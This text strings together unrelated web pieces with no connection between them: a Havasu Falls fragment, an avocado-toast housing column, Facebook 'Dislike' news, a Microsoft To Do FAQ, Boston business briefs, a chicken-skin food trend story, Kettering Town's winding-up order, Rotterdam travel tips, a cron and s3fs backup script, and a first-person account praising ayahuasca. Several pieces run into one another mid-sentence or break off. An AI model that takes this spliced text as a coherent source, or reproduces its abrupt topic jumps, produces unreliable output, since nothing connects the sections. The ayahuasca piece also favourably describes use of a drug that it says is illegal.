The most famous waterfall of Havasu Canyon is Havasu Falls, the namesake, and this is the one most easily recognized in photos online. But what most people don’t know is that Havasu Falls is just one of the 5 crazy big waterfalls of Havasu Canyon, all of which are that incredible teal and swimmable, and have an average temperature of 60-70 degrees throughout |
who already had a leg up and the equity to negatively gear.
So it is galling to read the demographer Bernard Salt in the Australian at the weekend saying that if millennials just stopped going to “hipster cafes” and eating avo on toast – they too could buy a house.
Salt writes: “I have seen young people order smashed avocado with crumbled feta on five-grain toasted bread at $22 a pop and more. I can afford to eat this for lunch because I am middle aged and have raised my family. But how can young people afford to eat like this? Shouldn’t they be economising by eating at home? How often are they eating out? Twenty-two dollars several times a week could go towards a deposit on a house.”
Hey, Salt – your maths is wrong! Houses prices in Sydney have surged beyond the price increases of smashed avo with feta on sourdough. The median house price is $1m. You would now have to save $200,000 to put down a 20% deposit on something not great, somewhere not grand.
Forgoing avo on toast for brunch once a week and you’ll save for your deposit in... 175 years! That’s 9,100 $22 smashed avocados on toast. With feta. And maybe some chilli flakes.
Last weekend a one-bedroom house (one bedroom – try raising a family in that!) sold in Sydney’s Camperdown for $1,230,000, up from $688,500 in 2013.
Mark Di Stefano (@MarkDiStef) A one bedroom apartment in Sydney has doubled in value in three years. Of course. Of course. via @MelanieTait pic.twitter.com/XuAiD83cFo
So what do you do when you can’t afford to buy somewhere to live? Well, you decide to live.
You get Ubers, you travel, you buy a good phone, you get a laptop, you go for brunch (many of these things – particularly travel and electronic goods have fallen in price, while house prices have accelerated way beyond income growth).
Brunch is the opiate of the masses. We are not going out for brunch instead of buying houses: we are brunching because we cannot afford to buy houses.
And oh how we brunch!
We watch the brunch market as carefully as the baby boomers watch property – what’s the hot suburb to brunch in? What area has not yet been gentrified by wealthy brunchers and its possible to get authentic Israeli baked eggs for a tenner? What brunch place has just had a write-up in Broadsheet? We’ll queue up for it and Instagram it and use it as a social signifier in the way that people once used their houses as a mark of social status.
Brunch is all we’ve got, Bernard! Don’t take it away from us.
When I interviewed Nick Shelton, the founder of the foodie website and newspaper Broadsheet last year, he said that research it commissioned has shown that young people (who treat Broadsheet as their bible) will eat out about nine times a week.
Brunch has become a lifestyle – fetishised as much as the property market (the New York Times calls it the brunch industrial complex). But the price point of entry is much lower than property – you have to take what you can get.
This is depressing, not because it stops young people from saving for houses, but because time in restaurants or lingering for hours over brunch means less time for the necessary activism or political action against the offensively unequal society we are now living in.
Can hipsters stomach the unpalatable truth about avocado toast? | Joanna Blythman Read more
We’re rolling out of cafes, too jacked up on the third latte, groaning from the pulled pork mascarpone pancake stack, to meaningfully fight the man on income inequality, negative gearing and unaffordable housing. But, boy, we need to.
As I write this I am eating brunch (baked eggs with olives, yum – $16) in a suburb with million-dollar houses. I will never be able to afford to buy a house in Bondi, but I can afford to brunch here – and that $16 for those eggs is the toll I pay to linger here, just for a little while.
We should be angry about this. We want houses. Instead we get brunch. And then the baby boomers with houses try to take away our brunch.People have asked whether Facebook would make a "Dislike" button for years, and for years Facebook has said that it wouldn't. It's kind of obvious why this cycle happens: there's a natural impulse to want to see a "Dislike" button next to Facebook's ubiquitous Like button, but there are also some real problems with that. Facebook doesn't want people using "Dislike" as a way to harass or disrespect other people, and — more cynically — you can argue that it certainly doesn't want people Disliking the sponsored posts that companies pay to put in your News Feed. (On a similar note, please don't forget to Like this article.)
"[We] are very close to shipping a test of it."
That all said, Facebook has apparently had a change of heart. It's making a Dislike button — or something like it — and it's apparently going to head into testing soon. "People have asked about the 'Dislike' button for many years... and today is a special day, because today is the day that I actually get to say we are working on it and are very close to shipping a test of it," Facebook CEO Mark Zuckerberg said today during a public Q&A session, according to CNBC.
There aren't a lot of details beyond that, but Zuckerberg says that Facebook's goal is to implement the button in a way that makes it a tool to "express empathy" — as in, to Dislike a sad moment that a friend shared — than a way to hurt someone. So while Zuckerberg may have called it a "Dislike" button, what Facebook is building may approximate better to a button for sharing compassion when a thumbs up is socially inappropriate.
"We don't want to turn Facebook into a forum where people are voting up or down on people's posts," Zuckerberg said. "That doesn't seem like the kind of community that we want to create: you don't want to go through the process of sharing some moment that was important to you in your day and have someone downvote it." Basically, he doesn't want to turn Facebook into Reddit, which, given Reddit's recent troubles, seems like a solid course of action.
Update September 15th, 4:55PM ET: This story has been updated to elaborate on how Facebook could implement "Dislike" in ways other than as an explicit button.
Verge Video: Changes are coming to FacebookMicrosoft To Do app – FAQ and all you need to know
Microsoft brings a new and intelligent task management app Microsoft To-Do which can help you planning and managing your day to day tasks. The app, however, comes from the team who designed Microsoft’s Wunderlist app. It is way smarter and better organized since it is based on an intelligent algorithm. The main objective of releasing this app is to provide a simple tool for users to plan their day well. The app comes with a simple yet interesting interface and supports popular platforms like Windows, Android, and iOS. Once you sign-in to your To-Do account, you can check your To-Do lists from any of your devices.
Microsoft To-Do app
To use this wonderful new app from Microsoft, you first need to own a Microsoft Account. With this intuitive app, you can create lists for almost anything, right from your grocery lists to your work projects or travel itinerary. You can also create the reminders and add deadlines to your task lists. Let’s explore the app more and see how it can help you in planning your day. You can also integrate the To-Do app with your Outlook tasks.
You first need to download the app from Google Play, App Store or Windows Store depending on the device you are using. Once downloaded, sign-in to the app using your Microsoft account.
The main overview is very plain and simple. Click on Bulb icon in the top right corner to start planning your day. You can also do it via Add a to-do button, but it is a bit confusing initially as the button is not clickable. You actually have to take your cursor on the tab and type your to-do task.
Once added to a task, double-click on it to set a reminder or to add an extra note to it. You can also set the due date or repeat the task from here. The screenshot below explains it more.
The left panel shows all your lists you have created. Open any list and right click to adjust the settings like Mark it done, Due today, Due tomorrow, Remove from list and more. Every to-do task has a check box where you can mark it as Done.
Change Microsoft To-Do Theme
The To-Do app comes with some customization features. You can change the color theme of your app. Click on the three dots on the top right corner of your app and click on Change Theme. You can change the colors and theme of the basic layout of the app here.
Import Your Data
If you have been using Wunderlist To-Do List & Tasks manager or Todoist you can easily import all your data to the new Microsoft To-Do app. Click on your name at the top left corner of the To-Do app and select Import. You need to authorize the app to import your data from Wunderlist or Todoist apps. Thus you can view all your tasks and to-do lists at one place.
Settings of Microsoft To-Do App
The app is pretty simple with the basic layout, and there is nothing much to adjust in the Settings. Click on your account profile on the top left corner and check the two given boxes saying- confirm before deleting and turn on completion sound.
While the app is quite simple with an easy to use layout, some users might have some queries. Check out some of the most frequently asked questions about Microsoft To-Do app.
Which accounts can I use To-Do with?
You can use To-Do only with your personal Microsoft account. It is available for all Office 365 Personal and Home users. If you are using a school or word Microsoft account, do check with your IT admin before you start using the Microsoft To-Do app.
How can I see my to-dos in Outlook Tasks?
To-Do app can be integrated to the Outlook tasks easily. All your to-do lists and Outlook tasks are stored on the Exchange Online servers. If you want to check your to-do lists from your Outlook app, you need to sign-in to both services with same Microsoft account. Once logged in, you can check all to-do lists with your Outlook tasks.
Why are there differences between my tasks in Outlook and To-Do?
While To-Do can be integrated with Outlook, there are still many features which are not supported like; this is the reason you may find some differences between your To-Do lists and Outlook tasks. Some of the Outlook tasks not supported by Microsoft To-Do app include- option to format text in notes, priority levels of tasks, workhouse, task status, start and end dates, task completion status, and file attachments. While all your tasks and to-dos are stored safely on the servers, you might not see some of your task details like date, time, task priorities, tc., in Outlook tasks. Microsoft is working on the app and will soon be adding these features.
How can I sync my account?
While using the same Microsoft account will automatically sync your data between your devices, you can also do it manually. Go to the account settings of your To-Do app account and tap on Sync. To-Do updates the data after every 5 seconds, and all changes are automatically updated and displayed on all your synced devices.
What can I use To-Do for?
To-Do is moreover like your digital daily dairy where you can plan your entire day systematically. You can add the tasks list of anything you want, may it be your groceries list, your work project, a list of movies you want to watch, your travel itinerary, school homework, or anything else. The app helps you keeping track of your to-do lists by adding reminders, due dates and more. It is a free app, and you can add as many lists as you want. With every task, you can add a separate reminder and due dates and mark them done when completed. Furthermore, you can add extra notes with each of your tasks.
Microsoft has been working on bringing all its service across various platforms and this interesting and simple day planning app is also available for Windows, Windows Phone, Android and iOS platforms. You can download the app for free from Windows Store, Google Play, or Apple Store based on the device you are using.
This post will show you how to use Microsoft To Do app. See how you can reset Password, send messages, receive a message, create To Do list, restore deleted To-Do task, manage Suggestions & My Day, and more.Clusters takes advantage of the file compression technology built into Mac OS X to help you regain space, keep your system tidy and launch your files faster. Clusters is a background and transparent file compressor: Mac OS and your apps will use compressed files without having to expand them first - they will just take less disk space and load faster.
How does it work? Just select some folders to compress and Clusters will silently work in the background, using your system spare resources to increase free space and make file access faster. Clusters will watch for changes in the folders you configure: for example, set Clusters to work on your Applications folder to automatically compress any new apps you install, thus having them launch faster.
Clusters has been discontinued and is no longer available for sale.Jenny Oh’s first Thanksgiving in Berkeley was made a little brighter on Thursday, when UCPD officers and staff delivered almost a full Thanksgiving meal to her door.
The junior English major and single mom of two signed up for help from the campus police department, which gave out turkeys, fixings and $40 supermarket gift cards to 45 residents of University Village, Berkeley’s housing complex for students with families.
“We don’t have family in the area, but we’re starting to make some friends,” said Oh, who moved to Berkeley from Palm Springs in August. “It is so great to have so much support from the community here.”
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She said the frozen turkey, sweet potatoes and carrots would help her put together a respectable meal on a budget, without getting too distracted from her studies.
The giveaway is an annual event for UCPD, which raised $1,800 for the gift cards. The turkeys and vegetables were donated by Cal Dining and its partners.
“We have an opportunity to directly service the community,” said Margo Bennett, who as police chief spent a rainy hour going door to door delivering turkeys. “It is great seeing the sense of thanks residents have; it is a good, warm feeling.”
Sam, a third-year optometry student who didn’t want to give her last name, said she appreciated the gesture.
“I think it just spreads so much joy, even if that sounds cliché,” she said after getting her turkey and vegetables. “It is really nice.”Spoiler
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I don't know if it's possible to get 3.5 working with the ASL yet, but I had some ideas for how we might be able to use it in a more accessible-looking way. I thought the cool tilted stencil in 3.5's new stage select preview made an ideal way to show an alternate stage that could be loaded with, say, the start button. So I made a few mockups and wanted to know what some of you thought.More mockups:I made these particular mockups for stages that would have the same title, but I know that some people would prefer unique names for the variants, or that there might be stages combined, like Dreamland and Green Greens, so here is a mockup to address that:So what do you all think? Any suggestions on improving the idea? And is it even possible to use the ASL in 3.5 yet?Kmart hit by data breach
Retailer Sears Holdings Corp. said the payment data systems at its Kmart stores had been compromised, the latest in a series of computer security breaches to hit U.S. companies in recent months.
The U.S. Secret Service confirmed it was investigating the breach, which occurred in September and compromised the systems of Kmart, which has about 1,200 stores across the United States. The breach did not affect the Sears department store chain.
Sears said it believes hackers made off with some credit and debit card numbers.
More e-cig regs eyed on planes
Federal regulators should consider further regulations on electronic cigarettes on airplanes, the state’s top fire official said after his office recently concluded one of the devices caused a small fire on a plane at Logan International Airport.
The Aug. 9 fire, confined to a single piece of luggage in the cargo hold, forced an evacuation of the plane. It was extinguished before the JetBlue aircraft took off. State Fire Marshal Stephen Coan said his office’s investigators confirmed that an e-cigarette in a passenger’s checked luggage turned on, causing the fire.
Coan sent a letter to the FAA this week about the incident, and U.S. Sen. Edward Markey said he’ll ask the FAA to investigate whether e-cigarettes should be allowed on airplanes at all.
Corcoran Jennison files hotel plan
Corcoran Jennison Co. has filed a project notification form with the city to expand the DoubleTree Club by Hilton hotel in Dorchester’s Columbia Point.
The Boston developer proposed a six-story, 89,500-square-foot addition that would include 96 new rooms for a total of 187 rooms, an expanded ground-floor restaurant, kitchen and back-of-house space, function rooms and a ballroom.
The addition would take the place of a parking lot on the northeast side of the Mount Vernon Street hotel, which is next to the former 20-acre Bayside Exposition Center site that Corcoran Jennison lost to foreclosure in 2009 and is now owned by the University of Massachusetts-Boston.
Raytheon, UMass Lowell open center
Raytheon and the University of Massachusetts Lowell yesterday officially opened a new collaborative research facility that will advance innovative technologies in a state-of-the-art setting.
The Raytheon-UMass Lowell Research Institute is located at the university’s Mark and Elisia Saab Emerging Technologies and Innovation Center. Raytheon has committed $3 million with options to $5 million throughout the next 10 years to establish the facility. Initial research will focus on technologies for radar and communication systems.
Boston-based Phoodeez catering services has hired three new employees: Ian Danielson as director of business development, Brian Vicente as director of operations, and Tyler Smith as part of the business development team.“Everyone knows deep down that they are closet chicken-skin lovers,” he said. “They just need some help.”
The appetite for chicken skin is a logical outgrowth of fried chicken mania and the fashion for over-the-top foods. Last year, in the aftermath of the KFC Double Down sandwich, a rumor that the chain was testing a “skinwich” flew around the Internet. The rumor was met with disgust and excitement before it was proved to be false.
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But the skinwich seems practically restrained next to an invention by Jesse Schenker, the chef and owner of Recette in the West Village: deep-fried, chicken-skin-wrapped gravy, a crunchy parcel with a molten interior. The dish, served with roast foie gras and a black pepper biscuit, is one of the richest in New York and is the only item on Recette’s menu that routinely elicits loud, happy cursing.
“If it weren’t so time-consuming, I’d offer it as the ultimate bar snack, 10 to an order,” he said.
One frustration inherent in cooking with chicken skin is shrinkage. When you render the fat from a piece of skin, it shrivels to about half its size, so you need a lot of it. Most chefs buy it in bulk from distributors when possible. It can be tricky to find a steady supply because the skins left over from chicken processing, like that from the boneless, skinless breasts that dominate the market, usually go into products like chicken sausages and nuggets, or are rendered for animal feed.
Steve Gold, vice president for sales and marketing at Murray’s Chicken, said that he always receives a spike in requests for chicken skin around this time of year, from cooks planning to make gribenes (chicken cracklings) for the Jewish holidays. But he said bulk orders for skins from chefs have increased to two or three a week from near zero a year ago. (Among those chefs is Mr. Schenker of Recette, who buys Murray’s chicken skin through the distributor Endicott Meats.)
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“A year ago it wasn’t even on our map,” Mr. Gold said. “We would have thought a chef was crazy.”
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Retail sources for skins are harder to come by, at least for the moment, and most home cooks will find it easiest to buy skin-on chicken and reserve the meat for another use.
Even with the advantage of buying in bulk, Hugue Dufour, who was the chef and an owner of M. Wells in Queens, said it was a hard ingredient to manage. “It was difficult to get enough skins to keep up,” he said, speaking of dishes like chicken-fried chicken skins and a chicken soup in which slippery skins stood in for noodles.
There’s nothing new about eating chicken skin. Just about any region that customarily eats chicken has a way to use up the skin.
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In Japan, and in Japanese restaurants like Yakitori Totto in Midtown and Yakitori Tori Shin on the Upper East Side, one of the most popular kinds of yakitori is grilled chicken skin, often accordioned onto a skewer and grilled until crisp-edged.
Deep-fried chicken skin is a favorite snack in certain parts of the Philippines, where it’s called chicharon manok. Maharlika, a new Filipino restaurant in the East Village, serves chicharon manok with spiced sugar cane vinegar as a free pre-dinner treat until they run out of it (they do most nights). Nicole Ponseca, an owner of Maharlika, said the restaurant’s dish is a strictly traditional version of the snack, which she grew up eating while playing mah-jongg with her family.
In European Jewish cooking, chopped liver is often served with gribenes; at Sammy’s Roumanian on the Lower East Side, the classic chopped liver and gribenes has been on the menu since the restaurant opened in 1975.
But chefs like Ilan Hall, who were exposed to traditional preparations as children, spin the ingredient in directions that their grandparents wouldn’t have imagined.
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One of Mr. Hall’s signature dishes at the Gorbals, his restaurant in Los Angeles, is a take on a B.L.T.: a gribenes, lettuce and tomato sandwich, served on rye with horseradish mayo. “Fallen Jews love the G.L.T.,” he said. “Because it’s funny. Familiar, but taken out of its element.”
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Mitch Prensky, a chef in Philadelphia, also grew up eating gribenes and likes to try unusual uses at his restaurant, Supper. He puts chicken skin in his spaghetti carbonara, cures and smokes it like pastrami for Reuben sandwiches and crisps it into tuile-like garnishes for summer salads.
“It’s the Jewish bacon,” Mr. Prensky said.
But even chefs like Marc Forgione, who uses chicken skin as a delicate wrapper for monkfish at the restaurant in TriBeCa that bears his name, resists the inevitable comparison.
“If I could marry bacon, I would,” he said.Why the Random Penguin merger could be good for indie publishers by Claire Kelley
The news that Penguin and Random House will merge into one large frankenpublisher sent shockwaves through the book industry as the frankenstorm lashed the northeast. The move is motivated by bad news—declining sales and troubled chains—and has inspired fears that there will be more bad news to come for the publishing industry. Agents and authors worry they will lose competition for advances, there’s a sense that the other big four publishers (Simon & Schuster, Hachette, Macmillan, and HarperCollins) will navigate mergers next, and publishing employees wonder about layoffs.
And that’s just the beginning—Jack Shafer offered more negative notes in his Reuters opinion piece “Mergers alone won’t save the book industry”:
The Penguin-Random House merger would theoretically give the new company more leverage in the pricing fights with Amazon et. al. But as important as that struggle for control might be, it still leaves Penguin-Random House operating in a moribund and hidebound enterprise that looks and acts like something out of the 18th century. Book publishers are playing against a stacked deck. They don’t own the distribution channels, they don’t own the stores, they don’t control any proprietary technologies or patents, they’re terrible at inventing new products, and the market value of their brands is dwindling. Plus, their most valuable properties, their writers, are free agents who don’t really belong to them. This merger—and other book industry consolidation to come—is less about winning than it is losing more slowly.
But could there be a glimmer of hope in all of this pessimism? On The Guardian’s Books Blog yesterday, Gavin James Bower, editorial director at UK independent publisher Quartet Books, offered a positive spin on the conglomerate consolidation, speculating that the merger might offer opportunities for indie publishers.
[T]his could well be an opportunity for independent publishing to prove its vitality…. In any recession, the vanguard is to be found beyond the mainstream—and risks taken by those typically seen as outsiders. Indies, as they always do, will be seen as the risk-takers in a climate of doom and gloom, nurturing talent and publishing books not deemed safe enough for the panicky, profit-driven corporations.
Beyond the nimble risk taking, adventurous spirit, and willingness to publish books that may not be blockbusters, perhaps the small scale of indie publishers allows for niche consumer appeal. As the biggies fold into one or two major giants, a proliferation of small independent publishers could make an impact by working with the basic ideas outlined in Colin Robinson’s ten tenants of publishing—ideas like selective publishing, a focus on editing and design, quick turnaround, and internet sales—creating an environment that allows small publishers to experiment with sales models and creative marketing ideas while publishing new and varied voices.“There is a perception in society that it is normal for women to be concerned about their bodies but for a man to be concerned is egotistical.” Statistics suggest that one in ten individuals with an eating disorder is male, but many experts suspect the true prevalence to be much higher due to the fact that men are less likely to report. Defined by training at least two hours a day unrelated to a career in sport, individuals affected by exercise disorder feel they can't live without it. They exercise when they're sick, injured or tired, and often do it in place of normal social activities to the point where it interferes with their lives. “I had one young man, a lovely young man, with low self-esteem. He'd spent years going to the gym every night only to feel more and more unsatisfied, and in his mid-thirties he desperately wanted to have a relationship and a partner but… he'd never developed social skills,” said Professor Jennifer O'Dea of The University of Sydney, who specialises in health, nutrition and body image. For every pert, slender woman gracing a billboard or peering out from the advertising pages of magazines there is a rippling, Thor-like specimen held up as the masculine ideal which is largely unattainable for many young men regardless of how many bench presses they do or protein shakes they drink.
“Women can spend their whole lives dieting and exercising to be slim, and men can waste a lot of their lives trying to having muscular bodies to fit the masculine ideal but they'll often end up with very little,” said O'Dea. “Men who are carrying a bit of fat these days in Australia, particularly young men, feel bad about it. They think they should have no fat and all muscle, but physiologically that's impossible,” she said. “If there is a young man concerned about his weight, losing weight, exercising excessively and is unhappy, then he probably has an eating disorder. Or, more likely, he has an exercise disorder.” Dr Elizabeth Celi, a psychologist, author and former personal trainer specialising in men's health, said many of her patients discounted their obsession as a healthy hobby while combining exercise with more readily understood disordered behaviours such as binge eating and bulimia. “It's easy to hide your body image and self-image anxieties in the gym because few people will tell you off for choosing a healthy lifestyle choice like exercise and fitness,” she said. “However the way men work out with their weights overworks some muscles at the expense of others, which throws out their muscle, joint and body balance. The overuse of protein drinks and supplements at the expense of a balanced, nutritional eating plan then adds to internal damage and that's before we start talking about steroids and their medical dangers.” The factors that can lead an individual to overexercise can be divided into two camps, according to Celi. The first is internal and has to do with self-esteem. A lack of confidence can lead to anxiety over body image that then manifests as obsessive behaviour. The other is external and relates to the constant messages young men are fed by a society that equates masculinity with muscularity.
“Outside sources certainly influence the internal pressure men feel – cut up bodies on magazine covers, the quick-fix ab workout – compounded by erroneous mixed messages about what being a man is and telling them to'man up,'” said Celi. “The added social scrutiny men have cuts to the core of their own masculine identity.” Twenty-five per cent of children diagnosed with anorexia nervosa are male and a recent a study by Harvard University Medical School found that, in the US, 25 per cent of adults with eating disorders were also men. Research shows that when it comes to binge eating, there is equal representation of both genders. “Males can be affected by any type of eating disorder and engage in any type of eating disorder behaviour so it is difficult to generalise,” added O'Connor. “Dieting is less common and severe in males as an eating disorder characteristic, whereby they are equally as likely to use physical activity to lose weight or change body shape.” There have been recent attempts to publicly address the issue. Last month, Noah Brand, editor-in-chief of The Good Men Project, appeared naked on his site - the results of which can be seen here - in a bid to confront his own body shame and spark discussion on the complexities of self-acceptance. “Men are conditioned from childhood not to talk about these issues,” he said. “I knew that if we were going to get anyone seriously talking about them somebody would have to do something really confrontational. And I was raised to believe that when you think someone ought to do something your next thought should be, Hey, I'm someone.”
Admitting that he's never been happy with his body, Brand said he wanted to lose weight for his health but was tired of wanting to take it off because of self-hatred. Though it took a couple of fingers of whisky to get the courage to take his gear off and expose what he describes as his “just over the line where overweight turns into obese” frame to the world, the overwhelmingly positive response has left him without regret. “There have been a few haters but mainly people have seen what I was getting at, that this is about a radical act of self-acceptance,” he said. “What's been most encouraging is seeing dialogues opening up. Seeing men say, 'I've felt the same way for a long time, I just don't know how to talk about it,' and women say, 'I never realised men struggled with these issues too.' That's where real progress comes from, getting people to talk about what nobody talks about.”Kettering Town have been issued with a winding-up order and are poised to go out of business, unless they succeed with a proposed appeal.
Rushden & Diamonds Ltd, the shell company left over when the club of the same name was had taken the Poppies to court over an unpaid debt.
Kettering officials will now appeal against the High Court decision.
Quick Kettering history Formed in 1872, turned professional in 1891
Found non-league success in the 1970s under Ron Atkinson, but failed to win election to the Football League
In 1976 they became the first English club to display a sponsor on their shirt. The FA ordered it to be removed
Imraan Ladak became involved in the club in 2005, with former England midfielder Paul Gascoigne taking over as manager for just 39 days
The 141-year-old club avoided going out of business in June last year.
On that occasion the Poppies to pay a portion of their debts and looked to be recovering 12 months later when
Two years ago the club were in the Conference Premier, non-league's top division, but a series of financial failures has seen them descend to the Southern League Division One Central - a drop from the fifth to the eighth tier of English football within one season.
The money owed to Rushden & Diamonds Ltd - not affiliated with the phoenix club AFC Rushden and Diamonds - is for unpaid rent at the Nene Park stadium.
The ground used to be the home of Rushden but, after their demise, was used by Kettering until they left in the autumn of last year when they could not afford to pay the electricity bill.
In a statement Kettering say they had verbally agreed a £50,000 settlement, until Rushden & Diamonds Ltd changed their assessment of the debt to £70,000.
The Poppies will apply for a recession order in the next seven days, on the basis that the sum of the debt is in dispute, in an attempt to overturn the winding-up order.
Kettering are currently playing a few miles outside the town in Burton Latimer and Tuesday's game at Dunstable and Saturday's home match against Aylesbury United are set to go ahead.(CNN) — Rotterdam -- the Netherlands' second largest city and Europe's biggest port -- is currently enjoying its transformation from a city plagued with urban problems to a hip place to visit or live.
Long lost in the shadow of Amsterdam, crowdfunding initiatives and striking new architecture have helped boost Rotterdam's vibe and image recently.
Some are now asking, does the city of 630,000 people from 170 nationalities have the credentials to be considered Europe's new capital of cool?
Here are a handful of reasons to visit Rotterdam now.
There are free outdoor art galleries
Art fans don't need to enter a museum to view art in Rotterdam.
Stroll around the city and giant sculptures are in eyesight.
Pablo Picasso's 46 ton "Sylvette" sits at the intersection of Museumpark and Westersingel, forming part of a sculpture route that runs alongside Rotterdam's Westersingel canal.
Auguste Rodin's "L'homme qui marche," a headless, armless sculpture of a walking man, returns in March after being loaned for display in Wuppertal, Germany.
Sculpture International Rotterdam curates the Westersingel Sculpture Route and public artworks dotted around Rotterdam.
It's got a mind-blowing market hall
Fruit and vegetable market or portal to another universe? Ossip van Duivenbode/Rotterdam Partners
Rotterdam opened the Markthal, a covered market hall and apartment complex in October 2014, giving the city a radical landmark to draw visitors.
Apartments arch above 96 stalls selling everything from Dutch cheeses to fresh fish, and many other local food and drinks.
The ceiling of the Markthal bears the world's largest artwork.
Spanning over 13,000 square yards, the "Horn of Plenty" by Arno Coenen is a colorful art piece depicting fruit tumbling from a summer sky, grazing cows and flowers.
The artwork's panels help lower sound within the market hall.
Markthal Rotterdam ; 298 Ds. Jan Scharpstraat, Rotterdam
And the best new cocktail bar in the Netherlands
Cocktail-lovers should head straight to Stirr, which was named the Netherlands' best new cocktail bar in the 2016 Esquire awards.
Mustachioed mixologists stand ready to create drinks tailored to any tastes.
They utilize the venue's own liqueurs, bitters and syrups.
With exposed brickwork and hip hop music, Stirr offers a new scene in a city where dockworkers and industrial workforce have traditionally favored beer over cocktails.
There's a district that's actually called Cool District
Rotterdam's City Hall sits on Coolsingel in the Cool District. By Stuart Forster
Many cities have quarters that are widely regarded as cool but Rotterdam can claim, literally, to have a Cool District.
Pronounced 'coal' in Dutch, the district was a separate municipality to Rotterdam until 1816, and is now peppered with high street stores and restaurants.
Plans are afoot to redevelop "Coolsingel", the broad street that runs in front of Rotterdam's city hall, by 2020.
Traffic flow will be reduced, and pedestrians and cyclists will have more space when the project is complete.
Its citizens want to surf
In recent years, Rotterdam has asked its citizens to help change the city.
Residents have suggested projects to receive funding, then had a vote to choose the most popular.
One scheme, proposing an area for urban surfing at Steigersgracht, next to the Markthal, hit legal challenges but looks set to open in 2017.
The Luchtsingel, a 1,280 foot long pedestrian bridge linking the central station with Rotterdam's northern district, opened in 2015.
Crowdfunding, sourced by inscribing names on the bridge's wooden planks in return for a donation, helped raise revenue to construct the yellow Luchtsingel.
Luchtsingel, 189 Schiekade, Rotterdam
It's got accessible nightlife
Alfresco dining and drinking in Rotterdam's buzzing Witte de Withstraat. Iris van den Broek/Rotterdam Partners
A number of bars, cafes, and restaurants operate on Witte de Withstraat, the buzzing street at the heart of Rotterdam's nightlife scene.
A smattering of art boutiques, including Gallerie Ecce and Gallerie van Eijck, give the area cultural credentials.
If the weather's nice, seats are set out on the sidewalk in front of bars such as De Witte Aap.
Ballroom -- named after bitterballen, a traditional, deep fried Dutch snack -- makes unconfirmed claims to having the world's widest selection of gin and tonics.
Ball |
you/saved/it/backup.sh
This example line will backup your server every Sunday at 12:00AM. The 5 characters preceding your command tell the crontab how often to execute the command. The first character tells it which minute to execute, the second character tells it which hour to execute, the third character tells it which day of the month to execute, the fourth character tells it which month to execute, and the fifth character tells it the day of the week. Asterisks indicate every minute or hour or day,etc, and you can use commas to indicate multiple times. For example, 0,15,30,45 * * * * would execute every 15 minutes. For further reading, consult the Wikipedia article on Cron.
Once you have this setup, you will be automatically backing up cheaply and securely. Now let’s say for whatever reason someone took your server and threw it out the window of a high-rise. To get your world back, simply create a script with the source and destination parameters of the previous script, but switched. Like so:
#!/bin/bash #restore.sh - Script by CheeseJaguar /usr/bin/s3fs yourbucketname -o accessKeyId=your_access_key_ID -o secretAccessKey=your_secret_key /mnt/backup /usr/bin/rsync -av /mnt/backup /path/to/put/your/files/in /bin/umount /mnt/backup
This will bring your files back to your server, like nothing had happened (since the last backup, at least).Carina Cooper tried ayahuasca, the hallucinatory drink that several celebrities have taken, long before it hit the news in the UK. She tells us what it's like and how it changed her life
You’ve probably heard of ayahuasca, a hallucinatory drink from South America, since several popstars and other celebrities admitted taking it. You may even know someone who has, extending its reach as it has from the backpacking community to the the middle classes both here and in the States.
Ayahuasca is brewed from two Amazonian plants containing the active psychedelic compound DMT. It is taken under the guidance of a shaman and users say it gives them deep revelations and spiritual awakenings leading to positive changes in their life.
But for all those who say it has changed their life for the better, there are people having bad trips and fake shamans in south America tempting tourists with the drink and ripping them off and making sexual advances. There have been a few cases of death. It is illegal in the UK and the US.
I laughed with wonder, I cried with an open heart, I wanted to do more
I first came across ayahuasca during the 90s when my twin brother and his wife (who had lived with Osho, the famous Indian guru) would come to Europe and travel as helpers with a shaman from Brazil who was conducting Ayahuasca ceremonies.
The stories of this plant medicine that took you into mysterious deep and dark realms, revealing the shadow part of oneself – including purging and diarrhoea – seemed abhorrent to me, safe in my eyrie home in the media heartland of Notting Hill. This was not a place I could imagine I would visit any time soon.
A few years passed, my marriage broke down and I needed some answers, and I deeply desired a big quest into self-enquiry.
My first time on ayahuasca
I first drank ayahuasca in the early 2000s with an experienced shaman and musician who is a good friend of my brother’s. We were lucky as there might only be five to a group, so they were intimate affairs and enabled one to journey really deeply.
My first time was a magical experiences. It was like being in the most exquisite, cosmic, carnival ride in the universe. I laughed with wonder, I cried with an open heart, I wanted to do more…
But that’s Mother ’huasca: she lures you in the first time and then quite often the second time you face yourself, as I did.
I had a vision of a drawer opening out from under my heart. In this drawer was a heart with all its tubes etc pulsating. An angelic voice said to me in a gentle whisper, “You are now going to feel all the pain you have shut away.” I sobbed for about five hours (ceremonies generally start around 8pm and can go on until dawn) deep guttural, physical sobs.
Aya is not for the faint hearted. If you genuinely have an interest to explore your inner landscape, she will find you and the right shaman will accompany her.
What happens at an ayahuasca ceremony
If you go to a circle (as ayahuasca ceremonies are sometimes referred to), honour the dietary requirements: there are certain foods that have to be avoided for five days beforehand.
Go in humbly and respectfully, and know that you can navigate yourself through the Astral realm up to more celestial realms. The ceremonies are often beautiful, with altars and in a lovely setting. These are just the smoke and mirrors, in my experience. From what I’ve seen over the past decade, the key to this work is the follow-through on the insights that are given to you by the plant.
It’s easy after a ceremony to feel loved-up and that you have gone on an epic hero’s journey. But if you don’t go and slay the dragons that have been highlighted to you in the following days or weeks, you can continue to attend circles and drink but she’ll slowly stop giving you the magical information.
She is an extraordinary teacher and if you honour her, she will elevate you to a higher level of consciousness.
I have drunk all over the world including South America. It doesn’t matter what location you are in, you just need to be absolutely sure that the shaman is reputable. And generally if the shaman is good, the brew will be too.
Different shamans have different provenances, depending on which country or tribe they are from. In some ceremonies, you are asked to wear white; some shamans give you up to three cups to drink; some shamans divide the men from the women.
If it’s your first time, don’t worry if you go alone, because you will make many new friends. Drinking ayahuasca with people is like spiritually sleeping with them. You see people bare their souls, and everyone comes together after the magic carpet ride that has transported everyone through the night.
One of the lovely aspects of ayahuasca is that it’s very music driven and attracts beautiful, talented musicians. Exquisite hymns known as ‘icaros’, which have been downloaded or received by the musicians during ceremony, are sung during the journeying.
Many people become more aware of their musical selves after drinking and they find their singing voices and take up playing instruments.
There’s a saying in the ayahuasca community that “Aya is for everyone but not everyone’s for Aya”. Go in with the innocence and openheartedness of a child, as any resistance might make you a member of The Never Again Club.
How ayahuasca changed my life
One shaman I know says “Pain is inevitable, suffering optional”. This is not a recreational, fun night, unless you like throwing up or running to the bathroom, or in my case being a wreck on the floor sobbing. But when the light of dawn appears, there is such renewed feeling of hope and optimism, you feel rebooted.
